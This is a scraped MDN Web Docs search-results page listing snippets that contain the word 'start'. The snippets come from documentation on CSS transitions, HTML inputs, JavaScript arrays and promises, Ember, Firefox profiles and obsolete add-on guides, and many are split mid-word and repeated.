n the horizontal direction. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... end the same as right if direction is left-to-right and left if direction is right-to-left.
... end the same as right if direction is left-to-right and left if direction is right-to-left. ...
...And 5 more matches
transition-timing-function - CSS: Cascading Style Sheets
ansition property. if there are more timing functions, the list is simply truncated to the right size. in both cases, the css declaration stays valid. ...
... transition-timing-function: ease-out; transition-timing-function: ease-in-out; transition-timing-function: linear; transition-timing-function: step-
start; transition-timing-function: step-end; /* function values */ transition-timing-function: steps(4, jump-end); transition-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1); /* steps function keywords */ transition-timing-function: steps(4, jump-
start); transition-timing-function: steps(10, jump-end); transition-timing-function: steps(20, jump-none); transition-timing-function: steps(5, jump-both); transition-timing-function: steps(6,
start); transition-timing-function: steps(8, end); /* multiple timing functions */ transition-timing-function: ease, step-
start, cubic-bezier(0.1, 0.7, 1.0, 0.1); /* global values */ transition-timing-function:...
... of intervals that are equal in length. it is defined by a number of steps and a step position. ease equal to cubic-bezier(0.25, 0.1, 0.25, 1.0), the default value, increases in velocity towards the middle of the transition, slowing back down at the end. linear equal to cubic-bezier(0.0, 0.0, 1.0, 1.0), transitions at an even speed. ease-in equal to cubic-bezier(0.42, 0, 1.0, 1.0),
starts off slowly, with the transition speed increasing until complete. ease-out equal to cubic-bezier(0, 0, 0.58, 1.0),
starts transitioning quickly, slowing down the transition continues. • ease-in-out equal to cubic-bezier(0.42, 0, 0.58, 1.0),
starts transitioning slowly, speeds up, and then slows down again. cubic-bezier(p1, p2, p3, p4) an author defined cubic-bezier curve, where the ...
...And 5 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
ything about the border in one shot (including non-color features of borders, such as its width, style (solid, dashed, etc.), and so forth. border-color specifies a single color to use for every side of the element's border. border-left-color, border-right-color, border-top-color, and border-bottom-color lets you set the color of the corresponding side of the element's border. ...
..., and so forth. border-color specifies a single color to use for every side of the element's border. border-left-color, border-right-color, border-top-color, and border-bottom-color lets you set the color of the corresponding side of the element's border. border-block-
start-color and border-block-end-color with these, you can set the color used to draw the borders which are closest to the
start and end of the block the border surrounds. ...
...er-right-color, border-top-color, and border-bottom-color lets you set the color of the corresponding side of the element's border. border-block-
start-color and border-block-end-color with these, you can set the color used to draw the borders which are closest to the
start and end of the block the border surrounds. in a left-to-right writing mode (such as the way english is written), the block
start border is the top edge and the block end is the bottom. this differs from the inline
start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends). border-inline-
start-color and border-inline-end-color these let you color the edges of the border closest to to the beginning and the end of the
start of lines of text within the box. which s...
...And 5 more matches
<input type="email"> - HTML: Hypertext Markup Language
dress to be restricted further than just "any string that looks like an e-mail address," you can use the pattern attribute to specify a regular expression the value must match for it to be valid. if the multiple attribute is specified, each individual item in the comma-delineated list of values must match the regular expression. for example, let's say you're building a page for employees of best
startup ever, inc. which will let them contact their it department for help. in our simplified form, the user needs to enter their e-mail address and a message describing the problem they need help with. we want to ensure that not only does the user provide a valid e-mail address, but for security purposes, we require that the address be an internal corporate e-mail address. since inputs of type email...
...t's see how: body { font: 16px sans-serif; } .emailbox { padding-bottom: 20px; } .messagebox { padding-bottom: 20px; } label { line-height: 22px; } label::after { content: ":"; } <form> <div class="emailbox"> <label for="emailaddress">your e-mail address</label><br> <input id="emailaddress" type="email" size="64" maxlength="64" required placeholder="username@best
startupever.com" pattern=".+@best
startupever.com" title="please provide only a best
startup ever corporate e-mail address"> </div> <div class="messagebox"> <label for="message">request</label><br> <textarea id="message" cols="80" rows="8" required placeholder="my shoes are too tight, and i have forgotten how to dance."></textarea> </div> <input type="submit" value="se...
...s take a closer look at the e-mail address entry box. its size and maxlength attributes are both set to 64 in order to show room for 64 characters worth of e-mail address, and to limit the number of characters actually entered to a maximum of 64. the required attribute is specified, making it mandatory that a valid e-mail address be provided. an appropriate placeholder is provided—username@best
startupever.com—to demonstrate what constitutes a valid entry. this string demonstrates both that an e-mail address should be entered, and suggests that it should be a corporate best
startupever.com account. this is in addition to the fact that using type email will validate the text to ensure that it's formatted like an e-mail address. if the text in the input box isn't an e-mail address, you'll get ...
...And 5 more matches
Indexed collections - JavaScript
derstanding length at the implementation level, javascript's arrays actually store their elements as standard object properties, using the array index as the property name. the length property is special. it always returns the index of the last element plus one. (in the example below, 'dusty' is indexed at 30, so cats.length returns 30 + 1). remember, javascript array indexes are 0-based: they
start at 0, not 1. this means that the length property will be one more than the highest index stored in the array: let cats = [] cats[30] = ['dusty'] console.log(cats.length) // 31 you can also assign to the length property. writing a value that is shorter than the number of stored items truncates the array. writing 0 empties it entirely: let cats = ['dusty', 'misty', 'twiggy'] console.log(cats.l...
...removes the first element from an array and returns that element. let myarray = new array('1', '2', '3') let first = myarray.shift() // myarray is now ["2", "3"], first is "1" unshift() adds one or more elements to the front of an array and returns the new length of the array. ...
...irst is "1" unshift() adds one or more elements to the front of an array and returns the new length of the array. let myarray = new array('1', '2', '3') myarray.unshift('4', '5') // myarray becomes ["4", "5", "1", "2", "3"] slice(
start_index, upto_index) extracts a section of an array and returns a new array. let myarray = new array('a', 'b', 'c', 'd', 'e') myarray = myarray.slice(1, 4) //
starts at index 1 and extracts all elements // until index 3, returning [ "b", "c", "d"] splice(index, count_to_remove, addelement1, addelement2, ...) removes elements from an array and (optionally) replaces them. it returns the items which were removed from the array. let myarray = new array('1', '2', '3', '4', '5') myarray.splice(1, 3, 'a', 'b', 'c', 'd') // myarray ...
...And 5 more matches
DataView - JavaScript
combine the two 32-bit values and return return littleendian ? (right<<bigthirtytwo)|left : (left<<bigthirtytwo)|right; } constructor dataview() creates a new dataview object. instance properties dataview.prototype.buffer the arraybuffer referenced by this view. fixed at construction time and thus read only. dataview.prototype.bytelength the length (in bytes) of this view from the
start of its arraybuffer. fixed at construction time and thus read only. dataview.prototype.byteoffset the offset (in bytes) of this view from the
start of its arraybuffer. fixed at construction time and thus read only. instance methods dataview.prototype.getint8() gets a signed 8-bit integer (byte) at the specified byte offset from the
start of the view. dataview.prototype.getuint8() gets an...
...prototype.byteoffset the offset (in bytes) of this view from the
start of its arraybuffer. fixed at construction time and thus read only. instance methods dataview.prototype.getint8() gets a signed 8-bit integer (byte) at the specified byte offset from the
start of the view. dataview.prototype.getuint8() gets an unsigned 8-bit integer (unsigned byte) at the specified byte offset from the
start of the view. dataview.prototype.getint16() gets a signed 16-bit integer (short) at the specified byte offset from the
start of the view. dataview.prototype.getuint16() gets an unsigned 16-bit integer (unsigned short) at the specified byte offset from the
start of the view. ...
... from the
start of the view. dataview.prototype.getint16() gets a signed 16-bit integer (short) at the specified byte offset from the
start of the view. dataview.prototype.getuint16() gets an unsigned 16-bit integer (unsigned short) at the specified byte offset from the
start of the view. dataview.prototype.getint32() gets a signed 32-bit integer (long) at the specified byte offset from the
start of the view. dataview.prototype.getuint32() gets an unsigned 32-bit integer (unsigned long) at the specified byte offset from the
start of the view. dataview.prototype.getfloat32() gets a signed 32-bit float (float) at the specified byte offset from the
start of the view. ...
...And 5 more matches
Promise - JavaScript
cessmessage) => { // successmessage is whatever we passed in the resolve(...) function above. // it doesn't have to be a string, but if it is only a succeed message, it probably will be. console.log("yay! " + successmessage) }); example with diverse situations this example shows diverse techniques for using promise capabilities, and diverse situations that can occur. to understand this,
start by scrolling to the bottom of the code block, and examine the promise chain. upon provision of an initial promise, a chain of promises can follow. the chain is composed of .then() calls, and typically (but not necessarily) has a single .catch() at the end, optionally followed by .finally(). in this example, the promise chain is initiated by a custom written new promise() construct; but in actual ...
...block, and examine the promise chain. upon provision of an initial promise, a chain of promises can follow. the chain is composed of .then() calls, and typically (but not necessarily) has a single .catch() at the end, optionally followed by .finally(). in this example, the promise chain is initiated by a custom written new promise() construct; but in actual practice, promise chains more typically
start with an api function (written by someone else) that returns a promise. the example function tetheredgetnumber() shows that a promise generator will utilize reject() while setting up an asynchronous call, or within the call-back, or both. the function promisegetword() illustrates how an api function might generate and return a promise in a self contained manner. note that function troublewithget...
...omisegetword(): ${reason}`); } }) .finally((info) => console.log("all done")); advanced example <button id="btn">make a promise!</button> <div id="log"></div> this small example shows the mechanism of a promise. the testpromise() method is called each time the <button> is clicked. it creates a promise that will be fulfilled, using window.settimeout(), to the promise count (number
starting from 1) every 1-3 seconds, at random. the promise() constructor is used to create the promise. the fulfillment of the promise is simply logged, via a fulfill callback set using p1.then(). a few logs show how the synchronous part of the method is decoupled from the asynchronous completion of the promise. "use strict"; var promisecount = 0; function testpromise() { let thispromisecount = ++...
...And 5 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
ult preference branch, as explained below. while the technical details below are important to understand, a library which encapsulates the appropriate logic is provided along with the example add-on at the end, and should be used where possible. changing default preference values there are two common ways of changing default preference values. the simplest, which works only for traditional, non-re
startless add-ons, is to add the preference changes to a file in an extension's defaults/preferences/ directory. the following file, for instance, would change the default keyword search engine, assuming that an engine with the name example engine is installed, as described below: // this is a localizable preference, so it must contain a url which // points at a properties file containing the preferenc...
...ne, assuming that an engine with the name example engine is installed, as described below: // this is a localizable preference, so it must contain a url which // points at a properties file containing the preference name as a // property. we use a data: url for simplicity. pref("browser.search.defaultenginename", "data:text/plain,browser.search.defaultenginename=example engine"); in the case or re
startless extensions, the preferences need to be changed manually, and reverted when the extension is disabled if they have not been changed in the meantime. while changes to default preference values will not persist across sessions, re
startless extensions must nevertheless restore them for the balance of the session after they have been disabled. the following example bootstrap.js file illustrates th...
...); // save the original and new values. savedprefs[name] = [defaultprefs.getcharpref(name), value]; // change the default defaultprefs.setcharpref(name, value); // clear the user value if this is the first run, or the // new default is the same as the user value. if (firstrun || userprefs.getcharpref(name) == value) userprefs.clearuserpref(name); } function
startup(data, reason) { firstrun = reason == addon_install; // change the default engine name. // an engine with this name must already exist. setpref("browser.search.defaultenginename", "example engine", true); } function shutdown(data, reason) { // no need to do this if this is app shutdown. if (reason == app_shutdown) return; // reset our changes if the values ...
...And 4 more matches
Repackaging Firefox - Archive of obsolete content
the article is about repackaging firefox 2.0 and is obsolete when working on 3.x repackaging. firefox can be customized for the needs of a particular group of users (for example, your organization's employees or clients). because firefox is designed from the ground up for extensibility and customization, this process is simple and easy to maintain. important legal considerations before you get
started, it is very important to know and abide by the legal requirements for distributing firefox. you must have written authorization from mozilla to distribute a modified version of firefox. to do this, please contact trademarks@mozilla.com. getting
started now, on to the technical details. the following diagram represents an overview of the process and the pieces involved: you will need the fo...
... the repackager tool. ...
...er files (windows .exe, mac .dmg, or linux .tar.gz) for each of the locales you need. at the time of writing this document, the latest builds are here. a "distro" extension that makes the changes you desire. once you have all the ingredients, the customization process is quite easy: download the firefox installer. install the repackager tool like you would any mac application. make sure it
starts up and launches the gui. put together your extension that customizes firefox. the distro extension all the changes you will want to make (for example, changing the default homepage or adding default bookmarks) can be encapsulated into a firefox extension. we call this extension a "distro extension" (sometimes abbreviated as "dex"), because it is used to create a new "distribution" of firefox...
...And 4 more matches
RDF Modifications - Archive of obsolete content
w triple to the rdf datasource. when this happens, any templates observing the datasource will be notified via the rdf observer's onassert method. the second situation when notifications are made is when a datasource is being loaded or reloaded. actually, internally, this isn't any different than the other notifications, but it is worth discussing separately. when the rdf parser loads rdf/xml, it
starts with a new empty datasource, and as the parser parses the input data, it calls the datasource's assert function to add each found triple. in effect, this isn't any different than adding the same set of triples yourself using the assert method. when reloading a datasource, you might think that the rdf parser removes all the existing data, loads the new data, and adds it to the datasource. or, you...
..., the builder won't make any changes. if the output would change, the builder will need to adjust the output, either by adding a new result, removing an old result, or by changing the value of some part of the result. the builder is smart enough to only change what needs to be changed and leave the remaining parts alone. ...
...anges. if the output would change, the builder will need to adjust the output, either by adding a new result, removing an old result, or by changing the value of some part of the result. the builder is smart enough to only change what needs to be changed and leave the remaining parts alone. let's assume we have single query with as follows: <query> <content uri="?
start"/> <member container="?
start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> these query statements will cause any photos with both a title and a description to be displayed. assuming that the '...
...And 4 more matches
calICalendarView - Archive of obsolete content
e/public/calicalendarview.idlscriptable please add a summary to this article. ...
...ticle. ...
...lendarview will not provide its own controller, but rather rely on other code to set this attribute. implementations should therefore be wary to check whether a controller has been assigned to the view, before calling any of the methods it implements.note that in most cases, this attribute will be set by the consumers of calicalendarview very early in an application/extension's loading process.
startdate returns a calidatetime corresponding to the first date shown by the view enddate returns a calidatetime corresponding to the last date shown by the view. note that this date is typically not immediately useful for querying for the events and tasks shown in the calicalendarview. typically, one more day must be added to it, in order to make it exclusive. supportsdisjointdates consumers o...
...And 4 more matches
Index - Game development
ebgl is basically an opengl es 2.0 for the web — it's a javascript api providing tools to build rich interactive animations and of course, also games. you can generate and render dynamic 3d graphics with javascript that is hardware accelerated. 16 building up a basic demo with a-frame 3d, a-frame, vr, virtual reality, web, webgl the webxr and webgl apis already enable us to
start creating virtual reality (vr) experiences inside web browsers, but the community is still waiting for tools and libraries to appear, to make this easier. mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building protot...
...g three, including setting up a development environment, structuring the necessary html, the fundamental objects of three, and how to build up a basic demo. 22 explaining basic 3d theory 3d, coordinates, textures, basics, fragment, lighting, primitives, rendering, theory, vertex, vertices this article explains all of the basic theory that's useful to know when you are getting
started working with 3d. 23 glsl shaders beginner, glsl, opengl, shader, texture shader, three.js, vertex shader shaders use glsl (opengl shading language), a special opengl shading language with syntax similar to c. glsl is executed directly by the graphics pipeline. there are two types of shaders: vertex shaders and fragment (pixel) shaders. vertex shaders transform shape positio...
...sync every medium or large game should compile asm.js code as part of an async script to give the browser the maximum flexibility to optimize the compilation process. in gecko, async compilation allows the javascript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (
starting in firefox 28). to see the difference, toggle javascript.options.parallel_parsing in about:config. 26 audio for web games audio, games, web audio api, audio sprites, spatialization, syncing tracks audio is an important part of any game; it adds feedback and atmosphere. web-based audio is maturing fast, but there are still many browser differences to navigate. we often need...
...And 4 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
tween a browser and a server so that humans can read them. the current version of the http specification is called http/2. 197 http header glossary, http header, webmechanics an http header is a field of an http request or response that passes additional information, altering or precising the semantics of the message or of the body. headers are case-insensitive, begins at the
start of a line and are immediately followed by a ':' and a value depending of the header itself. the value finish at the next crlf or at the end of the message. 198 http/2 glossary, http, infrastructure, reference, web performance, l10n:priority http/2 is a major revision of the http network protocol 199 http/3 http, intro, needscontent http/3 is the upcoming ...
... first design, glossary, layout, layout mobile mobile first, a form of progressive enhancement, is a web-development and web-design approach that focuses on prioritizing design and development for mobile screen sizes over design and development for desktop screen sizes. the rationale behind the mobile-first approach is to provide users with good user experiences at all screen sizes—by
starting with creating a user experience that works well on small screens, and then building on top of that to further enrich the user experience as the screen size increases. the mobile-first approach contrasts with the older approach of designing for desktop screen sizes first, and then only later adding some support for small screen sizes. 274 modem infrastructure, navigation a ...
...ion is the information for delivering the payload. it consists of network addresses for the source and destination, sequencing information, and error detection codes and is generally found in packet headers and footer. 313 page load time glossary, timings, web performance, metrics, page load time page load time is the time it takes for a page to load, measured from navigation
start to the
start of the load event 314 page prediction glossary, security, web performance, page prediction page prediction is a browser feature or script which, when enabled, tells the browser to download resources the user is likely to visit before the user requests the content. page prediction improves performance by enabling almost instant loading of predicted content. howeve...
...And 4 more matches
What is accessibility? - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css. objective: to gain familiarity with accessibility, including what it is, and how it affects you as a web developer. so what is accessibility? accessibility is the practice of making your websites usable by as many people as possible. ...
...obile phone users or those on low network speed. in fact, everyone can benefit from many such improvements. did we mention it is also the law in some places? what kinds of disability are we looking at? people with disabilities are just as diverse as people without disabilities, and so are their disabilities. the key lesson here is to think beyond your own computer and how you use the web, and
start learning about how others use it — you are not your users. the main types of disability to consider are explained below, along with any special tools they use to access web content (known as assistive technologies, or ats). note: the world health organization's disability and health fact sheet states that "over a billion people, about 15% of the world's population, have some form of disabilit...
......
...And 4 more matches
Legacy layout methods - Learn web development
ot support newer methods, in addition to allowing you to work on existing projects which use these types of systems. it is worth bearing in mind, as we explore these systems, that none of them actually create a grid in the way that css grid layout creates a grid. they work by giving items a size, and pushing them around to line them up in a way that looks like a grid. a two column layout let's
start with the simplest possible example — a two column layout. you can follow along by creating a new index.html file on your computer, filling it with a simple html template, and inserting the below code into it at the appropriate places. at the bottom of the section you can see a live example of what the final code should look like. first of all, we need some content to put into our columns. repl...
...ld need to calculate percentage widths for the columns and gutters between them. in the next sections we will look at how to create both. we will create a 12 column grid — a very common choice that is seen to be very adaptable to different situations given that 12 is nicely divisible by 6, 4, 3, and 2. a simple fixed width grid lets first create a grid system that uses fixed width columns.
start out by making a local copy of our sample simple-grid.html file, which contains the following markup in its body. <div class="wrapper"> <div class="row"> <div class="col">1</div> <div class="col">2</div> <div class="col">3</div> <div class="col">4</div> <div class="col">5</div> <div class="col">6</div> <div class="col">7</div> <div class="col">8</div> <div cl...
... percentage. 60 / 960 = 0.0625 we then move the decimal point 2 places giving us a percentage of 6.25%. so, in our css we can replace the 60 pixel column width with 6.25%. we need to do the same with our gutter width: 20 / 960 = 0.02083333333 so we need to replace the 20 pixel margin-left on our .col rule and the 20 pixel padding-right on .wrapper with 2.08333333%. updating our grid to get
started in this section, make a new copy of your previous example page, or make a local copy of our simple-grid-finished.html code to use as a
starting point. update the second css rule (with the .wrapper selector) as follows: body { width: 90%; max-width: 980px; margin: 0 auto; } .wrapper { padding-right: 2.08333333%; } not only have we given it a percentage width, we have also added a max...
...And 4 more matches
Learn to style HTML using CSS - Learn web development
cascading stylesheets — or css — is the first technology you should
start learning after html. while html is used to define the structure and semantics of your content, css is used to style it and lay it out. for example, you can use css to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features. looking to become a front-end web developer? ...
...emantics of your content, css is used to style it and lay it out. for example, you can use css to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
...d other decorative features. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites you should learn the basics of html before attempting any css. we recommend that you work through our introduction to html module first. in that module, you will learn about: css,
starting with the introduction to css module more advanced html modules javascript, and how to use it to add dynamic functionality to web pages once you understand the fundamentals of html, we recommend that you learn html and css at the same time, moving back and forth between the two topics. this is because html is far more interesting and much more fun to learn when you apply css, and you can't ...
...And 4 more matches
Creating hyperlinks - Learn web development
html text formatting, as covered in html text fundamentals. objective: to learn how to implement a hyperlink effectively, and link multiple files together. ...
... touchscreens to navigate web pages will have difficulty accessing title information. if a title's information is truly important to the usability of page, then you should present it in a manner that will be accessible to all users, for example by putting it in the regular text. active learning: creating your own example link create an html document using your local code editor and our getting
started template. inside the html body, add one or more paragraphs or other types of content you already know about. change some of the content into links. include title attributes. block level links as mentioned before, almost any content can be made into a link, even block-level elements. if you have an image you want to make into a link, use the <a> element and reference the image file with ...
...elative links wherever possible from the description above, you might think that it's a good idea to just use absolute links all the time because they don't break when a page is moved like relative links. however, you should use relative links wherever possible when linking to other locations within the same website. when you link to another website, you'll need to use an absolute link. for a
start, it's easier to scan your code — relative urls are generally shorter than absolute urls, which makes reading code much easier. second, it's more efficient to use relative urls wherever possible. when you use an absolute url, the browser
starts by looking up the real location of the server on the domain name system (dns), see how the web works for more information). then it goes to that server ...
...And 4 more matches
Video and audio content - Learn web development
previous overview: multimedia and embedding next now that we are comfortable with adding simple images to a webpage, the next step is to
start adding video and audio players to your html documents! in this article we'll look at doing just that with the <video> and <audio> elements; we'll then finish off by looking at how to add captions/subtitles to your videos. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting
started with html) and images in html. objective: to learn how to embed video and audio content into a webpage, and add captions/subtitles to video. video and audio on the web web developers have wanted to use video and audio on the w...
...knowledge of working with files, familiarity with html fundamentals (as covered in getting
started with html) and images in html. objective: to learn how to embed video and audio content into a webpage, and add captions/subtitles to video. video and audio on the web web developers have wanted to use video and audio on the web for a long time, ever since the early 2000s when we
started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) in the early days, native web technologies such as html didn't have the ability to embed video and audio on the web, so proprietary (or plugin-based) technologies like flash (and later, silverlight) became popular for handling such content. this kind of technology worked ok, but it...
... a path to the video you want to embed. it works in exactly the same way. controls users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) you must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate javascript api. at a minimum, the interface must include a way to
start and stop the media, and to adjust the volume. the paragraph inside the <video> tags this is called fallback content — this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers. this can be anything you like; in this case, we've provided a direct link to the video file, so the user can at least access it s...
...And 4 more matches
Client-side storage - Learn web development
let's build up the example, so you can understand how it works. first, make a local copy of our personal-greeting.html file in a new directory on your computer. next, note how our html references a javascript file called index.js (see line 40). we need to create this and write our javascript code into it. create an index.js file in the same directory as your html file. we'll
start off by creating references to all the html features we need to manipulate in this example — we'll create them all as constants, as these references do not need to change in the lifecycle of the app. add the following lines to your javascript file: // create needed constants const rememberdiv = document.queryselector('.remember'); const forgetdiv = document.queryselector('.forget'); const for...
...complex related data, the types of which aren't limited to simple values like strings or numbers. you can store videos, images, and pretty much anything else in an indexeddb instance. however, this does come at a cost: indexeddb is much more complex to use than the web storage api. in this section, we'll really only scratch the surface of what it is capable of, but we will give you enough to get
started. working through a note storage example here we'll run you through an example that allows you to store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of idb as we go along. the app looks something like this: each note has a title and some body text, each individually editable. the javascri...
...store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of idb as we go along. the app looks something like this: each note has a title and some body text, each individually editable. the javascript code we'll go through below has detailed comments to help you understand what's going on. getting
started first of all, make local copies of our index.html, style.css, and index-
start.js files into a new directory on your local machine. have a look at the files. you'll see that the html is pretty simple: a web site with a header and footer, as well as a main content area that contains a place to display notes, and a form for entering new notes into the database. the css provides some simple sty...
...And 4 more matches
Arrays - Learn web development
ou accessed the letters in a string. enter the following into your console: shopping[0]; // returns "bread" you can also modify an item in an array by simply giving a single array item a new value. try this: shopping[0] = 'tahini'; shopping; // shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ] note: we've said it before, but just as a reminder — computers
start counting from 0! note that an array inside an array is called a multidimensional array. you can access an item inside an array that is itself inside another array by chaining two sets of square brackets together. for example, to access one of the items inside the array that is the third item inside the random array (see previous section), we could do something like this: random[2][2]; try...
...th; // should return 5 this has other uses, but it is most commonly used to tell a loop to keep going until it has looped through all the items in an array. so for example: let sequence = [1, 1, 2, 3, 5, 8, 13]; for (let i = 0; i < sequence.length; i++) { console.log(sequence[i]); } you'll learn about loops properly later on (in our looping code article), but briefly, this code is saying:
start looping at item number 0 in the array. stop looping at the item number equal to the length of the array. this works for an array of any length, but in this case it stops looping at item number 7 (this is good, as the last item — which we want the loop to include — is item 6). for each item, print it out to the browser console with console.log(). some useful array methods in this section ...
...ing a product name and price separated by a colon. we'd like you to turn this into an array and store it in an array called products. on the same line as the // number 2 comment is the beginning of a for loop. in this line we currently have i <= 0, which is a conditional test that causes the for loop to only run once, because it is saying "stop when i is no longer less than or equal to 0", and i
starts at 0. we'd like you to replace this with a conditional test that stops the loop when i is no longer less than the products array's length. just below the // number 3 comment we want you to write a line of code that splits the current array item (name:price) into two separate items, one containing just the name and one containing just the price. if you are not sure how to do this, consult the us...
...And 4 more matches
Basic math in JavaScript — numbers and operators - Learn web development
even have different types of number systems! decimal is base 10 (meaning it uses 0–9 in each column), but we also have things like: binary — the lowest level language of computers; 0s and 1s. octal — base 8, uses 0–7 in each column. hexadecimal — base 16, uses 0–9 and then a–f in each column. you may have encountered these numbers before when setting colors in css. before you
start to get worried about your brain melting, stop right there! for a
start, we are just going to stick to decimal numbers throughout this course; you'll rarely come across a need to
start thinking about other types, if ever. the second bit of good news is that unlike some other programming languages, javascript only has one data type for numbers, both integers and decimals — you guessed it, number...
...nd do the necessary calculation for adding the sales tax in each case. the incrementor is used to move to the next value when needed. we've actually provided a simple example showing how this is done — check it out live, and look at the source code to see if you can spot the incrementors! we'll look at loops in detail later on in the course. let's try playing with these in your console. for a
start, note that you can't apply these directly to a number, which might seem strange, but we are assigning a variable a new updated value, not operating on the value itself. the following will return an error: 3++; so, you can only increment an existing variable. try this: let num1 = 4; num1++; okay, strangeness number 2! when you do this, you'll see a value of 4 returned — this is because the b...
......
...And 4 more matches
Test your skills: Strings - Learn web development
get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). strings 1 in our first strings task, we
start off small. you already have half of a famous quote inside a variable called quote
start; we would like you to: look up the other half of the quote, and add it to the example inside a variable called quoteend. concatenate the two strings together to make a single string containing the complete quote. save the result inside a variable called finalquote. you'll find that you get an error at thi...
... strings 2 in this task you are provided with two variables, quote and substring, which contain two strings. ...
...nside a variable called quoteend. concatenate the two strings together to make a single string containing the complete quote. save the result inside a variable called finalquote. you'll find that you get an error at this point. can you fix the problem with quote
start, so that the full quote displays correctly? try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. strings 2 in this task you are provided with two variables, quote and substring, which contain two strings. we would like you to: retrieve the length of the quote, and store it in a variable called quotelength. find the index position where substring appears in quote, and store that value in a variable called index.
...And 4 more matches
Server-side web frameworks - Learn web development
team_level = models.charfield(max_length=3,choices=team_levels,default='u11') the django model provides a simple query api for searching the database. this can match against a number of fields at a time using different criteria (e.g. exact, case-insensitive, greater than, etc.), and can support complex statements (for example, you can specify a search on u11 teams that have a team name that
starts with "fr" or ends with "al"). the second code snippet shows a view function (resource handler) for displaying all of our u09 teams. in this case we specify that we want to filter for all records where the team_level field has exactly the text 'u09' (note below how this criteria is passed to the filter() function as an argument with field name and match type separated by double underscores: tea...
...me }}</li> {% endfor %} </ul> {% else %} <p>no teams are available.</p> {% endif %} </body> </html> how to select a web framework numerous web frameworks exist for almost every programming language you might want to use (we list a few of the more popular frameworks in the following section). ...
...if you are part of a development team that already has significant experience with a particular web framework or programming language, then it makes sense to stick with that. ...
...And 4 more matches
Ember interactivity: Events, classes and state - Learn web development
along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
...ion is invoked, a new todo object instance is created with a text value of text, and the todos property value is updated to all of the current items inside the array (accessed conveniently using spread syntax), plus the new todo. using the service from our header component now that we've defined a way to add todos, we can interact with this service from the header.js input component to actually
start adding them. first of all, the service needs to be injected into the template via the @inject decorator, which we’ll rename to @service for semantic clarity. to do this, add the following import line to header.js, beneath the two existing import lines: import { inject as service } from '@ember/service'; with this import in place, we can now make the todo-data service available inside the hea...
... service available inside the headercomponent class via the todos object, using the @service decorator. add the following line just below the opening export... line: @service('todo-data') todos; now the placeholder alert(text); line can be replaced with a call to our new add() function. replace it with the following: this.todos.add(text); if we try this out in the todo app in our browser (npm
start, go to localhost:4200), it will look like nothing happens after hitting the enter key (although the fact that the app builds without any errors is a good sign). using the ember inspector however, we can see that our todo was added: displaying our todos now that we know that we can create todos, there needs to be a way to swap out our static "buy movie tickets" todos with the todos we're actua...
...And 4 more matches
Learn web development
if you are a complete beginner, web development can be challenging — we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly. ...
... if you are a complete beginner, web development can be challenging — we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly. ...
...e enough detail for you to feel comfortable and learn the topics properly. you should feel at home whether you are a student learning web development (on your own or as part of a class), a teacher looking for class materials, a hobbyist, or someone who just wants to understand more about how web technologies work. what's new? the content in the learning area is being added to regularly. ...
...And 4 more matches
Multiple Firefox profiles
low, applicable to your operating system. from profile manager inside firefox if you already have firefox instance running, you can open another profile from the integrated profile manager on any platform: type about:profiles into the browser url search bar. find the profile you want to use. press the “launch profile in new browser” button next to it. windows windows xp click the
start button. click "run". type firefox --new-instance--profilemanager. windows vista/7 click the
start button. click the search bar at the bottom. type firefox --new-instance --profilemanager. windows 8/8.1/10 press "windows + r" on your keyboard. type firefox --new-instance --profilemanager. linux if firefox is already included in your linux distribution, or if you have in...
...an make your selection. hit return. here is a complete example terminal command from steps 2-3: /applications/firefox.app/contents/macos/firefox -profile /users/suzie/library/application\ support/firefox/profiles/r99d1z7c.default if the profile manager window does not open, firefox may have been running in the background, even though it was not visible. close all instances of firefox, or re
start the computer, and then try again. if you want to do this frequently and more easily, you may wish to create an automator application, as explained in this tutorial. creating a profile creating a profile through the profile manager these instructions should be the same for all operating systems. to
start the create profile wizard, click "create profile..." in the profile manager. click n...
...his action cannot be undone. cancel interrupts the profile deletion. renaming a profile in the profile manager, select the profile you want to rename, and then click "rename profile". enter a new name for the profile and click on ok. note: the folder containing the files for the profile is not renamed. ...
...And 4 more matches
HTML parser threading
nshtml5parser is initialized by calling nshtml5parser::parse(nsiuri*, nsirequestobserver*, void*, nsdtdmode). that method call doesn't yet cause anything to be parsed, though. actual network data is passed to an nsistreamlistener. nshtml5streamparser is the nsistreamlistener implementation obtained by calling nsistreamlistener* nshtml5parser::getstreamlistener(). the nsistreamlistener methods (on
startrequest, ondataavailable and onstoprequest) are called on the main thread. on
